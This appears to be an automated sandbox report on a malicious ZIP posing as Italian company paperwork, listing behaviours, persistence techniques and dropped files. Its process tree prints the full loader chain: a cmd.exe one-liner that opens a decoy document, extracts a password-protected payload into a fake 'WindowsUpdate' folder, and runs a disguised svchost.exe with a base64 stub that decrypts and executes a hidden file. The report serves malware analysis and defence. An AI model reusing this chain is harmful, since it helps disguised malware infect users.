Analysis
- user interaction
yes - max time kernel
599s - max time network
612s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-ja - resource tags
- submitted
10/09/2026, 11:29
General
- Target Verifica_Documentazione_Aziendale_2026_d76fb4a8.zip
- Size 131.9MB
- Sample260910-nl142awshs
- SHA256 4cede43d22c179827d3e64e94dbd038e42cc1fe63b8e0fbcb4d1c4c6253f2d87
Malware Config
Signatures
- Executes dropped EXE 4 IoCs
- Loads dropped DLL 20 IoCs
- Registers new Windows logon scripts automatically executed at logon. 1 TTPs 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies registry class 2 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 8 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.exeC:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\Verifica_Documentazione_Aziendale_2026_d76fb4a8.zip1⤵
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C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
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C:\Windows\System32\DataExchangeHost.exeC:\Windows\System32\DataExchangeHost.exe -Embedding1⤵
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C:\Users\Admin\Desktop\Verifica_Documentazione_Aziendale_2026_d76fb4a8\Verifica_Documentazione_Aziendale_2026\Verifica_Documentazione_Aziendale_2026.exe"C:\Users\Admin\Desktop\Verifica_Documentazione_Aziendale_2026_d76fb4a8\Verifica_Documentazione_Aziendale_2026\Verifica_Documentazione_Aziendale_2026.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.execmd.exe /c cd x && start "" "document.docx" && (mkdir "C:\Users\Public\WindowsUpdate" && "LC_고양이_졸음주의안내문_2016.png" x -p"NYlnJBuDQvsrSbZtC8TWss0xzstzEheXFg1GtZZCIu6aTh5DXqvMprwjVn" "메뚜기_산책중넘어짐기록_2023-04-01.dat" "C:\Users\Public\" -y && cd "C:\Users\Public\WindowsUpdate" && "C:\Users\Public\WindowsUpdate\svchost.exe" -c "exec(__import__('base64').b64decode(b'aW1wb3J0IG9zLHN5cwpvcy5jaGRpcihvcy5wYXRoLmRpcm5hbWUob3MucGF0aC5hYnNwYXRoKHN5cy5leGVjdXRhYmxlKSkpCnJxamhzdV95aj1ieXRlcy5mcm9taGV4KCI4ODI4YWUzNDNjZTNhOTMyNjhlMTMxMDc1MGM0NzllZjYwOGQ1OGVhZGFkNGQzMjMzZTYyMGMwZDViZTMzNDM0IikKaHh1Zm1lZHlyPW9wZW4oImluc3RydWN0aW9ucy5wZGYiLCJyYiIpLnJlYWQoKQpvaXZ5eF92eF9uXz1ieXRlcyh4em10Znh6Ymt0Zl5ycWpoc3VfeWpbbGF1aWR6X21jaGxxZSVsZW4ocnFqaHN1X3lqKV0gZm9yIGxhdWlkel9tY2hscWUseHptdGZ4emJrdGYgaW4gZW51bWVyYXRlKGh4dWZtZWR5cikpCmV4ZWMob2l2eXhfdnhfbl8uZGVjb2RlKCJ1dGYtOCIpKQo=').decode())")2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\Desktop\Verifica_Documentazione_Aziendale_2026_d76fb4a8\Verifica_Documentazione_Aziendale_2026\x\document.docx" /o ""3⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Users\Admin\Desktop\Verifica_Documentazione_Aziendale_2026_d76fb4a8\Verifica_Documentazione_Aziendale_2026\x\LC_고양이_졸음주의안내문_2016.png"LC_고양이_졸음주의안내문_2016.png" x -p"NYlnJBuDQvsrSbZtC8TWss0xzstzEheXFg1GtZZCIu6aTh5DXqvMprwjVn" "메뚜기_산책중넘어짐기록_2023-04-01.dat" "C:\Users\Public\" -y3⤵
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C:\Users\Public\WindowsUpdate\svchost.exe"C:\Users\Public\WindowsUpdate\svchost.exe" -c "exec(__import__('base64').b64decode(b'aW1wb3J0IG9zLHN5cwpvcy5jaGRpcihvcy5wYXRoLmRpcm5hbWUob3MucGF0aC5hYnNwYXRoKHN5cy5leGVjdXRhYmxlKSkpCnJxamhzdV95aj1ieXRlcy5mcm9taGV4KCI4ODI4YWUzNDNjZTNhOTMyNjhlMTMxMDc1MGM0NzllZjYwOGQ1OGVhZGFkNGQzMjMzZTYyMGMwZDViZTMzNDM0IikKaHh1Zm1lZHlyPW9wZW4oImluc3RydWN0aW9ucy5wZGYiLCJyYiIpLnJlYWQoKQpvaXZ5eF92eF9uXz1ieXRlcyh4em10Znh6Ymt0Zl5ycWpoc3VfeWpbbGF1aWR6X21jaGxxZSVsZW4ocnFqaHN1X3lqKV0gZm9yIGxhdWlkel9tY2hscWUseHptdGZ4emJrdGYgaW4gZW51bWVyYXRlKGh4dWZtZWR5cikpCmV4ZWMob2l2eXhfdnhfbl8uZGVjb2RlKCJ1dGYtOCIpKQo=').decode())"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Registers new Windows logon scripts automatically executed at logon.
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Users\Public\WindowsUpdate\svchost.exeC:\Users\Public\WindowsUpdate\svchost.exe -c exec(__import__('base64').b64decode(b'aW1wb3J0IG9zLHN5cwpvcy5jaGRpcihvcy5wYXRoLmRpcm5hbWUob3MucGF0aC5hYnNwYXRoKHN5cy5leGVjdXRhYmxlKSkpCnJxamhzdV95aj1ieXRlcy5mcm9taGV4KCI4ODI4YWUzNDNjZTNhOTMyNjhlMTMxMDc1MGM0NzllZjYwOGQ1OGVhZGFkNGQzMjMzZTYyMGMwZDViZTMzNDM0IikKaHh1Zm1lZHlyPW9wZW4oImluc3RydWN0aW9ucy5wZGYiLCJyYiIpLnJlYWQoKQpvaXZ5eF92eF9uXz1ieXRlcyh4em10Znh6Ymt0Zl5ycWpoc3VfeWpbbGF1aWR6X21jaGxxZSVsZW4ocnFqaHN1X3lqKV0gZm9yIGxhdWlkel9tY2hscWUseHptdGZ4emJrdGYgaW4gZW51bWVyYXRlKGh4dWZtZWR5cikpCmV4ZWMob2l2eXhfdnhfbl8uZGVjb2RlKCJ1dGYtOCIpKQo=').decode()) fwMgsVEkeDZ4⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Public\WindowsUpdate\svchost.exeC:\Users\Public\WindowsUpdate\svchost.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
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C:\Windows\system32\schtasks.exeschtasks /run /tn "MicrosoftEdgeUpdateTaskMachineCore__"1⤵
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C:\Users\Public\WindowsUpdate\svchost.exe"C:\Users\Public\WindowsUpdate\svchost.exe" -c "exec(__import__('base64').b64decode(b'aW1wb3J0IG9zLHN5cwpvcy5jaGRpcihvcy5wYXRoLmRpcm5hbWUob3MucGF0aC5hYnNwYXRoKHN5cy5leGVjdXRhYmxlKSkpCnJxamhzdV95aj1ieXRlcy5mcm9taGV4KCI4ODI4YWUzNDNjZTNhOTMyNjhlMTMxMDc1MGM0NzllZjYwOGQ1OGVhZGFkNGQzMjMzZTYyMGMwZDViZTMzNDM0IikKaHh1Zm1lZHlyPW9wZW4oImluc3RydWN0aW9ucy5wZGYiLCJyYiIpLnJlYWQoKQpvaXZ5eF92eF9uXz1ieXRlcyh4em10Znh6Ymt0Zl5ycWpoc3VfeWpbbGF1aWR6X21jaGxxZSVsZW4ocnFqaHN1X3lqKV0gZm9yIGxhdWlkel9tY2hscWUseHptdGZ4emJrdGYgaW4gZW51bWVyYXRlKGh4dWZtZWR5cikpCmV4ZWMob2l2eXhfdnhfbl8uZGVjb2RlKCJ1dGYtOCIpKQo=').decode())"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
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C:\Windows\System32\SecurityHealthHost.exe\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding1⤵
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Boot or Logon Initialization Scripts
1Logon Script (Windows)
1Replay Monitor
Loading Replay Monitor...
Downloads
iso690.xsl
index.dat
CUSTOM.DIC
fb3b0dbfee58fac8.customDestinations-ms
fb3b0dbfee58fac8.customDestinations-ms
VCRUNTIME140.dll
_asyncio.pyd
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_elementtree.pyd
_hashlib.pyd
_lzma.pyd
_multiprocessing.pyd
_overlapped.pyd
_queue.pyd
_remote_debugging.pyd
_socket.pyd
_sqlite3.pyd
_ssl.pyd
_uuid.pyd
_wmi.pyd
_zoneinfo.pyd
_zstd.pyd
instructions.pdf
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
pyexpat.pyd
python.cat
python3.DLL
python314._pth
python314.dll
python314.zip
select.pyd
sqlite3.dll
svchost.exe
unicodedata.pyd
winsound.pyd
memory/472-3-0x00007FFA24140000-0x00007FFA24150000-memory.dmp
memory/472-4-0x00007FFA24140000-0x00007FFA24150000-memory.dmp
memory/472-9-0x00007FFA21870000-0x00007FFA21880000-memory.dmp
memory/472-20-0x00007FFA21870000-0x00007FFA21880000-memory.dmp
memory/472-0-0x00007FFA24140000-0x00007FFA24150000-memory.dmp
memory/472-1-0x00007FFA24140000-0x00007FFA24150000-memory.dmp
memory/472-2-0x00007FFA24140000-0x00007FFA24150000-memory.dmp
memory/4576-148-0x0000000009C00000-0x0000000009D0E000-memory.dmp
memory/4576-155-0x0000000009FA0000-0x0000000009FE8000-memory.dmp
memory/4576-154-0x0000000009730000-0x000000000975A000-memory.dmp
memory/4576-153-0x0000000009700000-0x0000000009718000-memory.dmp
memory/4576-170-0x000000000A1B0000-0x000000000A216000-memory.dmp
memory/4576-147-0x00000000046C0000-0x0000000004732000-memory.dmp